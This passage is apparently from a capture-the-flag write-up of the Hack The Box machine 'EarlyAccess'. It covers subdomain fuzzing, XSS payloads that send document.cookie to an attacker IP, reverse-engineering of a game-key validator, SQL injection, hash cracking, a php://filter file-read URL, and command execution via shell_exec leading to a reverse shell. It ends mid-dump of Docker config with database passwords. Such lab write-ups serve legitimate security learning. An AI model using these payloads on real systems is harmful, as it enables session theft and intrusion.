that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", 